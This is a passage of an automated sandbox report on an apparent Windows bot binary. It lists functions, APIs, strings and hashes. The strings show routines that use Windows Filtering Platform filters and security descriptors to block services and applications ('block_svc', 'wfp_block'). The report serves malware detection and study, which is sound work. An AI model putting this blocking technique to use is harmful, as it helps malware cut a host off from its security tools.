Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 00007FF7E3CE8EEF
GetProcessHeap.KERNEL32 ref: 00007FF7E3CE8F6B
HeapAlloc.KERNEL32 ref: 00007FF7E3CE8F7C
BuildTrusteeWithSidW.ADVAPI32 ref: 00007FF7E3CE9010
BuildSecurityDescriptorW.ADVAPI32 ref: 00007FF7E3CE905D
GetProcessHeap.KERNEL32 ref: 00007FF7E3CE90F2
HeapFree.KERNEL32 ref: 00007FF7E3CE9103

Strings

[E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu), xrefs: 00007FF7E3CE9077
block_svc, xrefs: 00007FF7E3CE9070

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: Heap$BuildProcess$AllocDescriptorFreeSecurityTrusteeWithstrlen
String ID: [E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu)$block_svc
API String ID: 493744553-3317923414
Opcode ID: 69ac0cd501d4a87c8b17967b6e58fd6349226e74b1adf778597a72746b022cf6
Instruction ID: 06d38f1e950c56cc0d6f9927208c1bdf852734f2828d8a729f1a2e4cc69e1d0f
Opcode Fuzzy Hash: 69ac0cd501d4a87c8b17967b6e58fd6349226e74b1adf778597a72746b022cf6
Instruction Fuzzy Hash: E6517332608BC285E7B09B11E4543BAFBA0FB84744F804136C68D93BA8EF7DD549CB52

Function 00007FF7E3CE918B Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 111
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 00007FF7E3CE8EEF
GetProcessHeap.KERNEL32 ref: 00007FF7E3CE8F6B
HeapAlloc.KERNEL32 ref: 00007FF7E3CE8F7C
BuildTrusteeWithSidW.ADVAPI32 ref: 00007FF7E3CE9010
BuildSecurityDescriptorW.ADVAPI32 ref: 00007FF7E3CE905D
GetProcessHeap.KERNEL32 ref: 00007FF7E3CE90F2
HeapFree.KERNEL32 ref: 00007FF7E3CE9103

Strings

[E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu), xrefs: 00007FF7E3CE9077
block_svc, xrefs: 00007FF7E3CE9070

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: Heap$BuildProcess$AllocDescriptorFreeSecurityTrusteeWithstrlen
String ID: [E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu)$block_svc
API String ID: 493744553-3317923414
Opcode ID: 0e94d3148b609dee0ff2560a2a89d769e9fadb2db872d082aeb89c006e5dbd4c
Instruction ID: e991e4db451810916b8586b3e360248dca809fc13ff2300b727b22a6d36fbb22
Opcode Fuzzy Hash: 0e94d3148b609dee0ff2560a2a89d769e9fadb2db872d082aeb89c006e5dbd4c
Instruction Fuzzy Hash: 4A517332608BC285E7B09B11E4543BAFBA0FB84744F804136C68D93BA8EF7DD549CB52

Function 00007FF7E3CE9181 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 111
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 00007FF7E3CE8EEF
GetProcessHeap.KERNEL32 ref: 00007FF7E3CE8F6B
HeapAlloc.KERNEL32 ref: 00007FF7E3CE8F7C
BuildTrusteeWithSidW.ADVAPI32 ref: 00007FF7E3CE9010
BuildSecurityDescriptorW.ADVAPI32 ref: 00007FF7E3CE905D
GetProcessHeap.KERNEL32 ref: 00007FF7E3CE90F2
HeapFree.KERNEL32 ref: 00007FF7E3CE9103

Strings

[E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu), xrefs: 00007FF7E3CE9077
block_svc, xrefs: 00007FF7E3CE9070

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: Heap$BuildProcess$AllocDescriptorFreeSecurityTrusteeWithstrlen
String ID: [E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu)$block_svc
API String ID: 493744553-3317923414
Opcode ID: b835f1c21479f05cc4f62c9c6d58b6c7f059bc0905a0a235bc16e00a61526ada
Instruction ID: 7641fa4252aa7a61dd2d02f230767f8ea40159cb3ec07ac30da3a1f4113ea915
Opcode Fuzzy Hash: b835f1c21479f05cc4f62c9c6d58b6c7f059bc0905a0a235bc16e00a61526ada
Instruction Fuzzy Hash: E7517332608BC285E7B09B11E4543BAFBA0FB84744F804136C68D93BA8EF7DD549CB52

Function 00007FF7E3CE9D40 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 97
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.MSVCRT ref: 00007FF7E3CE9E2C

Strings

(name != NULL), xrefs: 00007FF7E3CE9DB5
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FF7E3CE9EA5
ini_get_var, xrefs: 00007FF7E3CE9D89, 00007FF7E3CE9DBC, 00007FF7E3CE9DEF, 00007FF7E3CE9E56, 00007FF7E3CE9E9E
(var != NULL), xrefs: 00007FF7E3CE9DE8
(sec != NULL), xrefs: 00007FF7E3CE9D82
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF7E3CE9D7B, 00007FF7E3CE9DAE, 00007FF7E3CE9DE1
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FF7E3CE9E5D
NULL, xrefs: 00007FF7E3CE9EBE, 00007FF7E3CE9EC7
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE9D90, 00007FF7E3CE9DC3, 00007FF7E3CE9DF6

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var
API String ID: 1004003707-3780280517
Opcode ID: 44972bb0c6209c6f17ce433e491e293207ec20daf1049f6ba9f0944a71f4938d
Instruction ID: df2d07691e31e107289425beadad6e5d04a1de34201d1caf282384b727ed9781
Opcode Fuzzy Hash: 44972bb0c6209c6f17ce433e491e293207ec20daf1049f6ba9f0944a71f4938d
Instruction Fuzzy Hash: 85414F61A8864791FAA0AB42E9107B4ABA0BF00348FD44233DB4DA76F4DF7CE555D327

Function 00007FF7E3CE9BB9 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 90
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.MSVCRT ref: 00007FF7E3CE9CAD

Strings

[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF7E3CE9D0B
(ini != NULL), xrefs: 00007FF7E3CE9BFB
(name != NULL), xrefs: 00007FF7E3CE9C2E
[D] (%s) -> Done(name=%s), xrefs: 00007FF7E3CE9CCD
(sec != NULL), xrefs: 00007FF7E3CE9C61
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF7E3CE9BF4, 00007FF7E3CE9C27, 00007FF7E3CE9C5A
NULL, xrefs: 00007FF7E3CE9D24
ini_get_sec, xrefs: 00007FF7E3CE9C02, 00007FF7E3CE9C35, 00007FF7E3CE9C68, 00007FF7E3CE9CC6, 00007FF7E3CE9D04
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE9C09, 00007FF7E3CE9C3C, 00007FF7E3CE9C6F

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec
API String ID: 1004003707-386092548
Opcode ID: 6e47ec395df7def9111e9242f569500123d62212d82881af74ded4e61f3f0c51
Instruction ID: d7bb5ce7ba0007ab5b191dc4a1f29cc7ede74b362d786f139ed4107c6adc5157
Opcode Fuzzy Hash: 6e47ec395df7def9111e9242f569500123d62212d82881af74ded4e61f3f0c51
Instruction Fuzzy Hash: D5418261A8855391FAA0BB41E8107B4ABA0BF00348FD44233DA0D6A5F1DF7CE555D327

Function 00007FF7E3CEA0F0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_errno.MSVCRT ref: 00007FF7E3CEA18A
_errno.MSVCRT ref: 00007FF7E3CEA1A8
_errno.MSVCRT ref: 00007FF7E3CEA1B4

Strings

[E] (%s) -> strtoul failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF7E3CEA1DB
ini_get_uint32, xrefs: 00007FF7E3CEA169, 00007FF7E3CEA1D4
(value != NULL), xrefs: 00007FF7E3CEA162
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF7E3CEA15B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CEA170

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: _errno
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> strtoul failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint32
API String ID: 2918714741-1670302297
Opcode ID: d5b82347f654392dfedf225542d4a438f2fa3c92b60559f822e1e5e0c15a5a93
Instruction ID: 110d6e81682869a742e3e3c0be2adc03cb7a01ae18e827a14f9d85458213acc1
Opcode Fuzzy Hash: d5b82347f654392dfedf225542d4a438f2fa3c92b60559f822e1e5e0c15a5a93
Instruction Fuzzy Hash: B021B432A48642CAE3A0AF15E8407A9BBA0BB44784F844133EE4C977F0CF3DD855D722

Function 00007FF7E3CE14E2 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fwrite.MSVCRT ref: 00007FF7E3CE158E
fflush.MSVCRT ref: 00007FF7E3CE159A
EnterCriticalSection.KERNEL32 ref: 00007FF7E3CE15B3
LeaveCriticalSection.KERNEL32 ref: 00007FF7E3CE15DB
CopyFileA.KERNEL32 ref: 00007FF7E3CE1638

Strings

1, xrefs: 00007FF7E3CE1622
., xrefs: 00007FF7E3CE161D

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1
API String ID: 513531256-1839485796
Opcode ID: 2960b9ecaab591c16170f553e21163bf5ef34305d8ef571820ba495a7a1ad153
Instruction ID: 4b713902ab65686d24d4e2faecd786f9aad5c965529f66ccaf6585348c4f4057
Opcode Fuzzy Hash: 2960b9ecaab591c16170f553e21163bf5ef34305d8ef571820ba495a7a1ad153
Instruction Fuzzy Hash: 3E419425A8C64186F360BB11E8603BAEAD0BB84780FC44137DA0DA77F5CF3DE5658726

Function 00007FF7E3CE76D0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FwpmProviderDestroyEnumHandle0.FWPUCLNT ref: 00007FF7E3CE7822
wcscmp.MSVCRT ref: 00007FF7E3CE786D

Strings

[E] (%s) -> FwpmProviderCreateEnumHandle0 failed(res=%08lx), xrefs: 00007FF7E3CE77D7
setup_filt_prov, xrefs: 00007FF7E3CE77D0, 00007FF7E3CE77ED, 00007FF7E3CE793D
[E] (%s) -> FwpmProviderAdd0 failed(res=%08lx), xrefs: 00007FF7E3CE7944
[E] (%s) -> FwpmProviderEnum0 failed(res=%08lx), xrefs: 00007FF7E3CE77F4

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: DestroyEnumFwpmHandle0Providerwcscmp
String ID: [E] (%s) -> FwpmProviderAdd0 failed(res=%08lx)$[E] (%s) -> FwpmProviderCreateEnumHandle0 failed(res=%08lx)$[E] (%s) -> FwpmProviderEnum0 failed(res=%08lx)$setup_filt_prov
API String ID: 1522850966-2029202777
Opcode ID: cfef6c6a482798bbc893db55c7aea54bf54562ebcb0bebf47041dad21b7195c5
Instruction ID: a01a9d7288e5f8b533721d1a6d46e64719024f3e35f9825ab8fda5baa743815b
Opcode Fuzzy Hash: cfef6c6a482798bbc893db55c7aea54bf54562ebcb0bebf47041dad21b7195c5
Instruction Fuzzy Hash: F651C836658B8184F7B0AB06F4503BAB7A6FB40780F404236DA8D57BA9EF3DD490D791

Function 00007FF7E3CE9621 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E3CE76D0: wcscmp.MSVCRT ref: 00007FF7E3CE786D

FwpmEngineClose0.FWPUCLNT(?,?,?,?,?,?,00000000,0000025BBA7C14D0,?,00007FF7E3CE14B4,?,?,00000001,00007FF7E3CE14D2), ref: 00007FF7E3CE9701

Strings

[E] (%s) -> FwpmEngineOpen0 failed(res=%08lx), xrefs: 00007FF7E3CE96BA
wfp_block, xrefs: 00007FF7E3CE96B3
svc, xrefs: 00007FF7E3CE9728
app, xrefs: 00007FF7E3CE96E0
ip4, xrefs: 00007FF7E3CE967A

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: Close0EngineFwpmwcscmp
String ID: [E] (%s) -> FwpmEngineOpen0 failed(res=%08lx)$app$ip4$svc$wfp_block
API String ID: 4239307310-774261742
Opcode ID: 223170b71a83859bd236603527b02e101a1366b76761d00b77943d3fd3401860
Instruction ID: 310a482fc80e27dac9b1d955086076fb54b7b87f4ec3c94bd5663315a9b2ccdd
Opcode Fuzzy Hash: 223170b71a83859bd236603527b02e101a1366b76761d00b77943d3fd3401860
Instruction Fuzzy Hash: 6431C251B5C20341FAD0BA56A5903B99AA46F443C0FC00233EA0EE76F5DE7CD845A223

Function 00007FF7E3CE6497 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF7E3CE64A0
GetLastError.KERNEL32 ref: 00007FF7E3CE64E5

Strings

fs_path_exists, xrefs: 00007FF7E3CE64CB
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE64D2
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7E3CE64BD
(path != NULL), xrefs: 00007FF7E3CE64C4

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: (path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_path_exists
API String ID: 1799206407-4111913120
Opcode ID: f583ca8543be24ae3375adeba7bba2d16d38a369a885381b74c55c94ac9ca331
Instruction ID: ae6ca06cda65a8f4d7ee40f4a547b4db30b9e8477b0ba049dd71d33b5a4047ac
Opcode Fuzzy Hash: f583ca8543be24ae3375adeba7bba2d16d38a369a885381b74c55c94ac9ca331
Instruction Fuzzy Hash: D1211B51EAD44382FBF1B66AD444379D9405F0070AFE64633E11EE92F8CE3CE8A56263

Function 00007FF7E3CE1C73 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7E3CE1C93

Part of subcall function 00007FF7E3CE14E2: fwrite.MSVCRT ref: 00007FF7E3CE158E
Part of subcall function 00007FF7E3CE14E2: fflush.MSVCRT ref: 00007FF7E3CE159A

GetLastError.KERNEL32 ref: 00007FF7E3CE1CC6

Strings

module_get_proc, xrefs: 00007FF7E3CE1CAC, 00007FF7E3CE1CD6
[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF7E3CE1CB3
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF7E3CE1CDD

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 56e6ba89d370b9234b5a5992d3a7c8533a6698b1ea8b213f9a8009716b16c25b
Instruction ID: 1f4e9d906a808c3c4271ffd2917f3004748145dc50e6c04a0cb00b69462418ca
Opcode Fuzzy Hash: 56e6ba89d370b9234b5a5992d3a7c8533a6698b1ea8b213f9a8009716b16c25b
Instruction Fuzzy Hash: 50F0A250A8861281FA91A756E8113B5AE916F04BC0F944133DC5C6B7F4EF3CE9629323

Function 00007FF7E3CE8A40 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 00007FF7E3CE8671
GetLastError.KERNEL32 ref: 00007FF7E3CE867D
CloseHandle.KERNEL32 ref: 00007FF7E3CE8A16

Strings

[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF7E3CE8694
block_app, xrefs: 00007FF7E3CE868D

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: CloseErrorHandleLastNextProcess32
String ID: [E] (%s) -> Process32Next failed(gle=%lu)$block_app
API String ID: 1692733154-1215713629
Opcode ID: 3568a673c23024b7a528510d4250d5925bf8b2663cdb265cd0b878eaba4c314f
Instruction ID: 6d35713eaf1300dfede9f45dbcba7532b3ddb9dc7712072026eaec6d1049ace7
Opcode Fuzzy Hash: 3568a673c23024b7a528510d4250d5925bf8b2663cdb265cd0b878eaba4c314f
Instruction Fuzzy Hash: 72F04492A88B0785FAE477169890378AE957F45B44FC04133C50EE62F5DE3CE454A322

Function 00007FF7E3CE89E7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 00007FF7E3CE8671
GetLastError.KERNEL32 ref: 00007FF7E3CE867D
CloseHandle.KERNEL32 ref: 00007FF7E3CE8A16

Strings

[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF7E3CE8694
block_app, xrefs: 00007FF7E3CE868D

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
